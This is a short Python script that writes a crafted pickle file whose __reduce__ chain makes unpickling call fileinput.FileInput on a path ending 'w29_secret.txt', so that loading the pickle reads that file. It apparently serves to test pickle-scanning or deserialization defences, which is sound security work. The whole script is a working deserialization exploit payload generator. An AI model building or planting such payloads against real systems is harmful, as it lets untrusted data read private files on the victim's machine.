import pickle, pathlib, fileinput OUT = pathlib.Path(__file__).with_name("fileinput_FileInput.pkl") PATH = r"C:\Users\uozer\AppData\Local\Temp\opencode\w29_secret.txt" class FI: def __reduce__(self): return (fileinput.FileInput, ((PATH,),)) class E: def __reduce__(self): return (list, (FI(),)) OUT.write_bytes(pickle.dumps(E(), protocol=4)) print("wrote", OUT, OUT.stat().st_size)